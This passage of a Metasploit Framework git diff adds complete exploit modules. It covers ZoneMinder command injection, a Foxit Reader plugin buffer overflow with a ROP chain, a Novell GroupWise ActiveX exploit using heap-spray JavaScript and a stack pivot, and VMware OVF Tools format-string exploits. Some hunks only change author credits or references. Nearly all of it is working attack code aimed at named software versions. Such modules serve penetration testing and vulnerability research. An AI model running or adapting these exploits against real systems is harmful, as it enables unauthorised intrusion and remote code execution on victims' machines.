Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'ZoneMinder Video Server packageControl Command Execution', + 'Description' => %q{ + This module exploits a command execution vulnerability in ZoneMinder Video + Server version 1.24.0 to 1.25.0 which could be abused to allow + authenticated users to execute arbitrary commands under the context of the + web server user. The 'packageControl' function in the + 'includes/actions.php' file calls 'exec()' with user controlled data + from the 'runState' parameter. + }, + 'References' => + [ + ['URL', 'http://itsecuritysolutions.org/2013-01-22-ZoneMinder-Video-Server-arbitrary-command-execution-vulnerability/'], + ], + 'Author' => + [ + 'Brendan Coles ', # Discovery and exploit + ], + 'License' => MSF_LICENSE, + 'Privileged' => true, + 'Arch' => ARCH_CMD, + 'Platform' => 'unix', + 'Payload' => + { + 'BadChars' => "\x00", + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic telnet python perl bash', + }, + }, + 'Targets' => + [ + ['Automatic Targeting', { 'auto' => true }] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => "Jan 22 2013" + )) + + register_options([ + OptString.new('USERNAME', [true, 'The ZoneMinder username', 'admin']), + OptString.new('PASSWORD', [true, 'The ZoneMinder password', 'admin']), + OptString.new('TARGETURI', [true, 'The path to the web application', '/zm/']) + ], self.class) + end + + def check + + peer = "#{rhost}:#{rport}" + base = target_uri.path + base << '/' if base[-1, 1] != '/' + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + cookie = "ZMSESSID=" + rand_text_alphanumeric(rand(10)+6) + data = "action=login&view=version&username=#{user}&password=#{pass}" + + # login and retrieve software version + print_status("#{peer} - Authenticating as user '#{user}'") + begin + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => "#{base}index.php", + 'cookie' => "#{cookie}", + 'data' => "#{data}", + }) + if res and res.code == 200 + if res.body =~ /ZM - Login<\/title>/ + print_error("#{peer} - Authentication failed") + return Exploit::CheckCode::Unknown + elsif res.body =~ /v1.2(4\.\d+|5\.0)/ + return Exploit::CheckCode::Appears + elsif res.body =~ /<title>ZM/ + return Exploit::CheckCode::Detected + end + end + return Exploit::CheckCode::Safe + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeoutp + print_error("#{peer} - Connection failed") + end + return Exploit::CheckCode::Unknown + + end + + def exploit + + @peer = "#{rhost}:#{rport}" + base = target_uri.path + base << '/' if base[-1, 1] != '/' + cookie = "ZMSESSID=" + rand_text_alphanumeric(rand(10)+6) + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + data = "action=login&view=postlogin&username=#{user}&password=#{pass}" + command = Rex::Text.uri_encode(payload.encoded) + + # login + print_status("#{@peer} - Authenticating as user '#{user}'") + begin + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => "#{base}index.php", + 'cookie' => "#{cookie}", + 'data' => "#{data}", + }) + if !res or res.code != 200 or res.body =~ /<title>ZM - Login<\/title>/ + fail_with(Exploit::Failure::NoAccess, "#{@peer} - Authentication failed") + end + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") + end + print_good("#{@peer} - Authenticated successfully") + + # send payload + print_status("#{@peer} - Sending payload (#{command.length} bytes)") + begin + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => "#{base}index.php", + 'data' => "view=none&action=state&runState=start;#{command}%26", + 'cookie' => "#{cookie}" + }) + if res and res.code == 200 + print_good("#{@peer} - Payload sent successfully") + else + fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Sending payload failed") + end + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") + end + + end + +end diff --git a/modules/exploits/windows/browser/adobe_cooltype_sing.rb b/modules/exploits/windows/browser/adobe_cooltype_sing.rb index 0a64ebeae492..e51ecadf6dce 100644 --- a/modules/exploits/windows/browser/adobe_cooltype_sing.rb +++ b/modules/exploits/windows/browser/adobe_cooltype_sing.rb @@ -25,8 +25,7 @@ def initialize(info = {}) 'Author' => [ 'Unknown', # 0day found in the wild - '@sn0wfl0w', # initial analysis - '@vicheck', # initial analysis + 'sn0wfl0w', # initial analysis, also @vicheck on twitter 'jduck' # Metasploit module ], 'References' => diff --git a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb new file mode 100644 index 000000000000..79df79fbcfc8 --- /dev/null +++ b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb @@ -0,0 +1,195 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + + include Msf::Exploit::Remote::HttpServer::HTML + + Rank = NormalRanking + + def initialize(info={}) + super(update_info(info, + 'Name' => "Foxit Reader Plugin URL Processing Buffer Overflow", + 'Description' => %q{ + This module exploits a vulnerability in the Foxit Reader Plugin, it exists in + the npFoxitReaderPlugin.dll module. When loading PDF files from remote hosts, + overly long query strings within URLs can cause a stack-based buffer overflow, + which can be exploited to execute arbitrary code. This exploit has been tested + on Windows 7 SP1 with Firefox 18.0 and Foxit Reader version 5.4.4.11281 + (npFoxitReaderPlugin.dll version 2.2.1.530). + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'rgod <rgod[at]autistici.org>', # initial discovery and poc + 'Sven Krewitt <svnk[at]krewitt.org>', # metasploit module + 'juan vazquez', # metasploit module + ], + 'References' => + [ + [ 'OSVDB', '89030' ], + [ 'BID', '57174' ], + [ 'EDB', '23944' ], + [ 'URL', 'http://retrogod.altervista.org/9sg_foxit_overflow.htm' ], + [ 'URL', 'http://secunia.com/advisories/51733/' ] + ], + 'Payload' => + { + 'Space' => 2000, + 'DisableNops' => true + }, + 'DefaultOptions' => + { + 'EXITFUNC' => "process", + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Platform' => 'win', + 'Targets' => + [ + # npFoxitReaderPlugin.dll version 2.2.1.530 + [ 'Automatic', {} ], + [ 'Windows 7 SP1 / Firefox 18 / Foxit Reader 5.4.4.11281', + { + 'Offset' => 272, + 'Ret' => 0x1000c57d, # pop # ret # from npFoxitReaderPlugin + 'WritableAddress' => 0x10045c10, # from npFoxitReaderPlugin + :rop => :win7_rop_chain + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Jan 7 2013", + 'DefaultTarget' => 0)) + end + + def get_target(agent) + #If the user is already specified by the user, we'll just use that + return target if target.name != 'Automatic' + + #Mozilla/5.0 (Windows NT 6.1; rv:18.0) Gecko/20100101 Firefox/18.0 + nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' + firefox = agent.scan(/Firefox\/(\d+\.\d+)/).flatten[0] || '' + + case nt + when '5.1' + os_name = 'Windows XP SP3' + when '6.0' + os_name = 'Windows Vista' + when '6.1' + os_name = 'Windows 7' + end + + if os_name == 'Windows 7' and firefox =~ /18/ + return targets[1] + end + + return nil + end + + def junk + return rand_text_alpha(4).unpack("L")[0].to_i + end + + def nops + make_nops(4).unpack("N*") + end + + # Uses rop chain from npFoxitReaderPlugin.dll (foxit) (no ASLR module) + def win7_rop_chain + + # rop chain generated with mona.py - www.corelan.be + rop_gadgets = + [ + 0x1000ce1a, # POP EAX # RETN [npFoxitReaderPlugin.dll] + 0x100361a8, # ptr to &VirtualAlloc() [IAT npFoxitReaderPlugin.dll] + 0x1000f055, # MOV EAX,DWORD PTR DS:[EAX] # RETN [npFoxitReaderPlugin.dll] + 0x10021081, # PUSH EAX # POP ESI # RETN 0x04 [npFoxitReaderPlugin.dll] + 0x10007971, # POP EBP # RETN [npFoxitReaderPlugin.dll] + 0x41414141, # Filler (RETN offset compensation) + 0x1000614c, # & push esp # ret [npFoxitReaderPlugin.dll] + 0x100073fa, # POP EBX # RETN [npFoxitReaderPlugin.dll] + 0x00001000, # 0x00001000-> edx + 0x1000d9ec, # XOR EDX, EDX # RETN + 0x1000d9be, # ADD EDX,EBX # POP EBX # RETN 0x10 [npFoxitReaderPlugin.dll] + junk, + 0x100074a7, # POP ECX # RETN [npFoxitReaderPlugin.dll] + junk, + junk, + junk, + 0x41414141, # Filler (RETN offset compensation) + 0x00000040, # 0x00000040-> ecx + 0x1000e4ab, # POP EBX # RETN [npFoxitReaderPlugin.dll] + 0x00000001, # 0x00000001-> ebx + 0x1000dc86, # POP EDI # RETN [npFoxitReaderPlugin.dll] + 0x1000eb81, # RETN (ROP NOP) [npFoxitReaderPlugin.dll] + 0x1000c57d, # POP EAX # RETN [npFoxitReaderPlugin.dll] + nops, + 0x10005638, # PUSHAD # RETN [npFoxitReaderPlugin.dll] + ].flatten.pack("V*") + + return rop_gadgets + end + + def on_request_uri(cli, request) + + agent = request.headers['User-Agent'] + my_target = get_target(agent) + + # Avoid the attack if no suitable target found + if my_target.nil? + print_error("Browser not supported, sending 404: #{agent}") + send_not_found(cli) + return + end + + unless self.respond_to?(my_target[:rop]) + print_error("Invalid target specified: no callback function defined") + send_not_found(cli) + return + end + + return if ((p = regenerate_payload(cli)) == nil) + + # we use two responses: + # one for an HTTP 301 redirect and sending the payload + # and one for sending the HTTP 200 OK with appropriate Content-Type + if request.resource =~ /\.pdf$/ + # sending Content-Type + resp = create_response(200, "OK") + resp.body = "" + resp['Content-Type'] = 'application/pdf' + resp['Content-Length'] = rand_text_numeric(3,"0") + cli.send_response(resp) + return + else + resp = create_response(301, "Moved Permanently") + resp.body = "" + + my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] + if datastore['SSL'] + schema = "https" + else + schema = "http" + end + + sploit = rand_text_alpha(my_target['Offset'] - "#{schema}://#{my_host}:#{datastore['SRVPORT']}#{request.uri}.pdf?".length) + sploit << [my_target.ret].pack("V") # EIP + sploit << [my_target['WritableAddress']].pack("V") # Writable Address + sploit << self.send(my_target[:rop]) + sploit << p.encoded + + resp['Location'] = request.uri + '.pdf?' + Rex::Text.uri_encode(sploit, 'hex-all') + cli.send_response(resp) + + # handle the payload + handler(cli) + end + end + +end diff --git a/modules/exploits/windows/browser/ie_cbutton_uaf.rb b/modules/exploits/windows/browser/ie_cbutton_uaf.rb index 8b36b5e4a211..7aa41c04fe60 100644 --- a/modules/exploits/windows/browser/ie_cbutton_uaf.rb +++ b/modules/exploits/windows/browser/ie_cbutton_uaf.rb @@ -48,6 +48,7 @@ def initialize(info={}) [ 'CVE', '2012-4792' ], [ 'US-CERT-VU', '154201' ], [ 'BID', '57070' ], + [ 'MSB', 'MS13-008' ], [ 'URL', 'http://blog.fireeye.com/research/2012/12/council-foreign-relations-water-hole-attack-details.html'], [ 'URL', 'http://eromang.zataz.com/2012/12/29/attack-and-ie-0day-informations-used-against-council-on-foreign-relations/'], [ 'URL', 'http://blog.vulnhunt.com/index.php/2012/12/29/new-ie-0day-coming-mshtmlcdwnbindinfo-object-use-after-free-vulnerability/' ], diff --git a/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb b/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb index cee5f962a616..a7ba46418a31 100644 --- a/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb +++ b/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb @@ -49,7 +49,7 @@ def initialize(info = {}) 'Author' => [ 'unknown', # discovered in the wild - '@yuange1975', # PoC posted to twitter + 'Yuange', # PoC posted to twitter under @yuange1975 'Matteo Memelli', # exploit-db version 'jduck' # Metasploit module ], diff --git a/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb b/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb new file mode 100644 index 000000000000..1b6971b5c26a --- /dev/null +++ b/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb @@ -0,0 +1,320 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb + include Msf::Exploit::Remote::BrowserAutopwn + + autopwn_info({ + :ua_name => HttpClients::IE, + :ua_minver => "6.0", + :ua_maxver => "9.0", + :javascript => true, + :os_name => OperatingSystems::WINDOWS, + :rank => NormalRanking, + :classid => "{601D7813-408F-11D1-98D7-444553540000}", + :method => "SetEngine" + }) + + + def initialize(info={}) + super(update_info(info, + 'Name' => "Novell GroupWise Client gwcls1.dll ActiveX Remote Code Execution", + 'Description' => %q{ + This module exploits a vulnerability in the Novell GroupWise Client gwcls1.dll + ActiveX. Several methods in the GWCalServer control use user provided data as + a pointer, which allows to read arbitrary memory and execute arbitrary code. This + module has been tested successfully with GroupWise Client 2012 on IE6 - IE9. The + JRE6 needs to be installed to achieve ASLR bypass. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'rgod <rgod[at]autistici.org>', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2012-0439' ], + [ 'OSVDB', '89700' ], + [ 'BID' , '57658' ], + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-008' ], + [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7011688' ] + ], + 'Payload' => + { + 'BadChars' => "\x00", + 'Space' => 1040, + 'DisableNops' => true + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Platform' => 'win', + 'Targets' => + [ + # gwcls1.dll 12.0.0.8586 + [ 'Automatic', {} ], + [ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ], + [ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ], + [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x3e3' } ], + [ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4' } ], + [ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x3e3' } ], + [ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x3e3' } ], + [ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x3ed' } ]#'0x5fe' } ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Jan 30 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) + ], self.class) + + end + + def get_target(agent) + #If the user is already specified by the user, we'll just use that + return target if target.name != 'Automatic' + + nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' + ie = agent.scan(/MSIE (\d)/).flatten[0] || '' + + ie_name = "IE #{ie}" + + case nt + when '5.1' + os_name = 'Windows XP SP3' + when '6.0' + os_name = 'Windows Vista' + when '6.1' + os_name = 'Windows 7' + end + + targets.each do |t| + if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) + print_status("Target selected as: #{t.name}") + return t + end + end + + return nil + end + + def ie_heap_spray(my_target, p) + js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) + js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) + js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch)) + + # Land the payload at 0x0c0c0c0c + case my_target + when targets[7] + # IE 9 on Windows 7 + js = %Q| + function randomblock(blocksize) + { + var theblock = ""; + for (var i = 0; i < blocksize; i++) + { + theblock += Math.floor(Math.random()*90)+10; + } + return theblock; + } + + function tounescape(block) + { + var blocklen = block.length; + var unescapestr = ""; + for (var i = 0; i < blocklen-1; i=i+4) + { + unescapestr += "%u" + block.substring(i,i+4); + } + return unescapestr; + } + + var heap_obj = new heapLib.ie(0x10000); + var code = unescape("#{js_code}"); + var nops = unescape("#{js_random_nops}"); + while (nops.length < 0x80000) nops += nops; + var offset_length = #{my_target['Offset']}; + for (var i=0; i < 0x1000; i++) { + var padding = unescape(tounescape(randomblock(0x1000))); + while (padding.length < 0x1000) padding+= padding; + var junk_offset = padding.substring(0, offset_length); + var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length); + while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock; + sprayblock = single_sprayblock.substring(0, (0x40000-6)/2); + heap_obj.alloc(sprayblock); + } + | + + else + # For IE 6, 7, 8 + js = %Q| + var heap_obj = new heapLib.ie(0x20000); + var code = unescape("#{js_code}"); + var nops = unescape("#{js_nops}"); + while (nops.length < 0x80000) nops += nops; + var offset = nops.substring(0, #{my_target['Offset']}); + var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); + while (shellcode.length < 0x40000) shellcode += shellcode; + var block = shellcode.substring(0, (0x80000-6)/2); + heap_obj.gc(); + for (var i=1; i < 0x300; i++) { + heap_obj.alloc(block); + } + var overflow = nops.substring(0, 10); + | + + end + + js = heaplib(js, {:noobfu => true}) + + if datastore['OBFUSCATE'] + js = ::Rex::Exploitation::JSObfu.new(js) + js.obfuscate + end + + return js + end + + def stack_pivot + pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb + pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit + pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit + pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset + return pivot + end + + def get_payload(t, cli) + code = payload.encoded + + # No rop. Just return the payload. + return [0x0c0c0c10 - 0x426].pack("V") + [0x0c0c0c14].pack("V") + code if t['Rop'].nil? + + # Both ROP chains generated by mona.py - See corelan.be + case t['Rop'] + when :msvcrt + print_status("Using msvcrt ROP") + rop_payload = generate_rop_payload('msvcrt', '', 'target'=>'xp') # Mapped at 0x0c0c07ea + jmp_shell = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{0x0c0c0c14 - 0x0c0c07ea - rop_payload.length}").encode_string + rop_payload << jmp_shell + rop_payload << rand_text_alpha(0x0c0c0c0c - 0x0c0c07ea- rop_payload.length) + rop_payload << [0x0c0c0c10 - 0x426].pack("V") # Mapped at 0x0c0c0c0c # 0x426 => vtable offset + rop_payload << [0x77c15ed5].pack("V") # Mapped at 0x0c0c0c10 # xchg eax, esp # ret + rop_payload << stack_pivot + rop_payload << code + else + print_status("Using JRE ROP") + rop_payload = generate_rop_payload('java', '') # Mapped at 0x0c0c07ea + jmp_shell = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{0x0c0c0c14 - 0x0c0c07ea - rop_payload.length}").encode_string + rop_payload << jmp_shell + rop_payload << rand_text_alpha(0x0c0c0c0c - 0x0c0c07ea- rop_payload.length) + rop_payload << [0x0c0c0c10 - 0x426].pack("V") # Mapped at 0x0c0c0c0c # 0x426 => vtable offset + rop_payload << [0x7C348B05].pack("V") # Mapped at 0x0c0c0c10 # xchg eax, esp # ret + rop_payload << stack_pivot + rop_payload << code + end + + return rop_payload + end + + + def load_exploit_html(my_target, cli) + p = get_payload(my_target, cli) + js = ie_heap_spray(my_target, p) + + trigger = "target.GetNXPItem(\"22/10/2013\", 1, 1);" * 200 + + html = %Q| + <html> + <head> + <script> + #{js} + </script> + </head> + <body> + <object classid='clsid:601D7813-408F-11D1-98D7-444553540000' id ='target'> + </object> + <script> + target.SetEngine(0x0c0c0c0c-0x20); + setInterval(function(){#{trigger}},1000); + </script> + </body> + </html> + | + + return html + end + + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + uri = request.uri + print_status("Requesting: #{uri}") + + my_target = get_target(agent) + # Avoid the attack if no suitable target found + if my_target.nil? + print_error("Browser not supported, sending 404: #{agent}") + send_not_found(cli) + return + end + + html = load_exploit_html(my_target, cli) + html = html.gsub(/^\t\t/, '') + print_status("Sending HTML...") + send_response(cli, html, {'Content-Type'=>'text/html'}) + end + +end + + +=begin + +* Remote Code Exec + +(240.8d4): Access violation - code c0000005 (first chance) +First chance exceptions are reported before any exception handling. +This exception may be expected and handled. +*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\PROGRA~1\Novell\GROUPW~1\gwenv1.dll - +eax=00000000 ebx=0c0c0bec ecx=030c2998 edx=030c2998 esi=0c0c0bec edi=0013df58 +eip=10335e2d esp=0013de04 ebp=0013de8c iopl=0 nv up ei pl nz na po nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202 +gwenv1!NgwOFErrorEnabledVector<NgwOFAttribute>::SetParent+0x326b9d: +10335e2d 8a8e4f040000 mov cl,byte ptr [esi+44Fh] ds:0023:0c0c103b=?? + + +.text:103BDDEC mov eax, [ebp+var_4] // var_4 => Engine + 0x20 +.text:103BDDEF test esi, esi +.text:103BDDF1 jnz short loc_103BDE17 +.text:103BDDF3 cmp [eax+426h], esi +.text:103BDDF9 jz short loc_103BDE17 // Check function pointer against nil? +.text:103BDDFB mov ecx, [ebp+arg_8] +.text:103BDDFE mov edx, [ebp+arg_4] +.text:103BDE01 push ecx +.text:103BDE02 mov ecx, [eax+42Ah] // Carefully crafted object allows to control it +.text:103BDE08 push edx +.text:103BDE09 mov edx, [eax+426h] // Carefully crafted object allows to control it +.text:103BDE0F push ecx +.text:103BDE10 call edx // Win! + +* Info Leak + +// Memory disclosure => 4 bytes from an arbitrary address +// Unstable when info leaking and triggering rce path... +target.SetEngine(0x7ffe0300-0x45c); // Disclosing ntdll +var leak = target.GetMiscAccess(); +alert(leak); + +=end \ No newline at end of file diff --git a/modules/exploits/windows/browser/ovftool_format_string.rb b/modules/exploits/windows/browser/ovftool_format_string.rb new file mode 100644 index 000000000000..fa3681ff88f2 --- /dev/null +++ b/modules/exploits/windows/browser/ovftool_format_string.rb @@ -0,0 +1,134 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + + def initialize(info={}) + super(update_info(info, + 'Name' => 'VMWare OVF Tools Format String Vulnerability', + 'Description' => %q{ + This module exploits a format string vulnerability in VMWare OVF Tools 2.1 for + Windows. The vulnerability occurs when printing error messages while parsing a + a malformed OVF file. The module has been tested successfully with VMWare OVF Tools + 2.1 on Windows XP SP3. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Jeremy Brown', # Vulnerability discovery + 'juan vazquez' # Metasploit Module + ], + 'References' => + [ + [ 'CVE', '2012-3569' ], + [ 'OSVDB', '87117' ], + [ 'BID', '56468' ], + [ 'URL', 'http://www.vmware.com/security/advisories/VMSA-2012-0015.html' ] + ], + 'Payload' => + { + 'DisableNops' => true, + 'BadChars' => + (0x00..0x08).to_a.pack("C*") + + "\x0b\x0c\x0e\x0f" + + (0x10..0x1f).to_a.pack("C*") + + (0x80..0xff).to_a.pack("C*") + + "\x22", + 'StackAdjustment' => -3500, + 'PrependEncoder' => "\x54\x59", # push esp # pop ecx + 'EncoderOptions' => + { + 'BufferRegister' => 'ECX', + 'BufferOffset' => 6 + } + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Platform' => 'win', + 'Targets' => + [ + # vmware-ovftool-2.1.0-467744-win-i386.msi + [ 'VMWare OVF Tools 2.1 on Windows XP SP3', + { + 'Ret' => 0x7852753d, # call esp # MSVCR90.dll 9.00.30729.4148 installed with VMware OVF Tools 2.1 + 'AddrPops' => 98, + 'StackPadding' => 38081, + 'Alignment' => 4096 + } + ], + ], + 'Privileged' => false, + 'DisclosureDate' => 'Nov 08 2012', + 'DefaultTarget' => 0)) + + end + + def ovf + my_payload = rand_text_alpha(4) # ebp + my_payload << [target.ret].pack("V") # eip # call esp + my_payload << payload.encoded + + fs = rand_text_alpha(target['StackPadding']) # Padding until address aligned to 0x10000 (for example 0x120000) + fs << rand_text_alpha(target['Alignment']) # Align to 0x11000 + fs << my_payload + # 65536 => 0x10000 + # 27 => Error message prefix length + fs << rand_text_alpha(65536 - 27 - target['StackPadding'] - target['Alignment'] - my_payload.length - (target['AddrPops'] * 8)) + fs << "%08x" * target['AddrPops'] # Reach saved EBP + fs << "%hn" # Overwrite LSW of saved EBP with 0x1000 + + ovf_file = <<-EOF +<?xml version="1.0" encoding="UTF-8"?> +<Envelope vmw:buildId="build-162856" xmlns="http://schemas.dmtf.org/ovf/envelope/1" +xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common" +xmlns:ovf="http://schemas.dmtf.org/ovf/envelope/1" +xmlns:rasd="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_ResourceAllocationSettingData" +xmlns:vmw="http://www.vmware.com/schema/ovf" +xmlns:vssd="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_VirtualSystemSettingData" +xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> + <References> + <File ovf:href="Small VM-disk1.vmdk" ovf:id="file1" ovf:size="68096" /> + </References> + <DiskSection> + <Info>Virtual disk information</Info> + <Disk ovf:capacity="8" ovf:capacityAllocationUnits="#{fs}" ovf:diskId="vmdisk1" ovf:fileRef="file1" ovf:format="http://www.vmware.com/interfaces/specifications/vmdk.html#streamOptimized" /> + </DiskSection> + <VirtualSystem ovf:id="Small VM"> + <Info>A virtual machine</Info> + </VirtualSystem> +</Envelope> + EOF + ovf_file + end + + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + uri = request.uri + + if agent !~ /VMware-client/ or agent !~ /ovfTool/ + print_status("User agent #{agent} not recognized, answering Not Found...") + send_not_found(cli) + end + + if uri =~ /.mf$/ + # The manifest file isn't required + print_status("Sending Not Found for Manifest file request...") + send_not_found(cli) + end + + print_status("Sending OVF exploit...") + send_response(cli, ovf, {'Content-Type'=>'text/xml'}) + end + +end \ No newline at end of file diff --git a/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb b/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb index a8ba842b7e16..2e2ad87d3fa1 100644 --- a/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb +++ b/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb @@ -25,8 +25,7 @@ def initialize(info = {}) 'Author' => [ 'Unknown', # 0day found in the wild - '@sn0wfl0w', # initial analysis - '@vicheck', # initial analysis + 'sn0wfl0w', # initial analysis, also @vicheck on twitter 'jduck' # Metasploit module ], 'References' => diff --git a/modules/exploits/windows/fileformat/ovf_format_string.rb b/modules/exploits/windows/fileformat/ovf_format_string.rb new file mode 100644 index 000000000000..cbd21fed2aae --- /dev/null +++ b/modules/exploits/windows/fileformat/ovf_format_string.rb @@ -0,0 +1,119 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::FILEFORMAT + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'VMWare OVF Tools Format String Vulnerability', + 'Description' => %q{ + This module exploits a format string vulnerability in VMWare OVF Tools 2.1 for + Windows. The vulnerability occurs when printing error messages while parsing a + a malformed OVF file. The module has been tested successfully with VMWare OVF Tools + 2.1 on Windows XP SP3. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Jeremy Brown', # Vulnerability discovery + 'juan vazquez' # Metasploit Module + ], + 'References' => + [ + [ 'CVE', '2012-3569' ], + [ 'OSVDB', '87117' ], + [ 'BID', '56468' ], + [ 'URL', 'http://www.vmware.com/security/advisories/VMSA-2012-0015.html' ] + ], + 'Payload' => + { + 'DisableNops' => true, + 'BadChars' => + (0x00..0x08).to_a.pack("C*") + + "\x0b\x0c\x0e\x0f" + + (0x10..0x1f).to_a.pack("C*") + + (0x80..0xff).to_a.pack("C*") + + "\x22", + 'StackAdjustment' => -3500, + 'PrependEncoder' => "\x54\x59", # push esp # pop ecx + 'EncoderOptions' => + { + 'BufferRegister' => 'ECX', + 'BufferOffset' => 6 + } + }, + 'Platform' => 'win', + 'Targets' => + [ + # vmware-ovftool-2.1.0-467744-win-i386.msi + [ 'VMWare OVF Tools 2.1 on Windows XP SP3', + { + 'Ret' => 0x7852753d, # call esp # MSVCR90.dll 9.00.30729.4148 installed with VMware OVF Tools 2.1 + 'AddrPops' => 98, + 'StackPadding' => 38081, + 'Alignment' => 4096 + } + ], + ], + 'Privileged' => false, + 'DisclosureDate' => 'Nov 08 2012', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', [ true, 'The file name.', 'msf.ovf']), + ], self.class) + end + + def ovf + my_payload = rand_text_alpha(4) # ebp + my_payload << [target.ret].pack("V") # eip # call esp + my_payload << payload.encoded + + fs = rand_text_alpha(target['StackPadding']) # Padding until address aligned to 0x10000 (for example 0x120000) + fs << rand_text_alpha(target['Alignment']) # Align to 0x11000 + fs << my_payload + # 65536 => 0x10000 + # 27 => Error message prefix length + fs << rand_text_alpha(65536 - 27 - target['StackPadding'] - target['Alignment'] - my_payload.length - (target['AddrPops'] * 8)) + fs << "%08x" * target['AddrPops'] # Reach saved EBP + fs << "%hn" # Overwrite LSW of saved EBP with 0x1000 + + 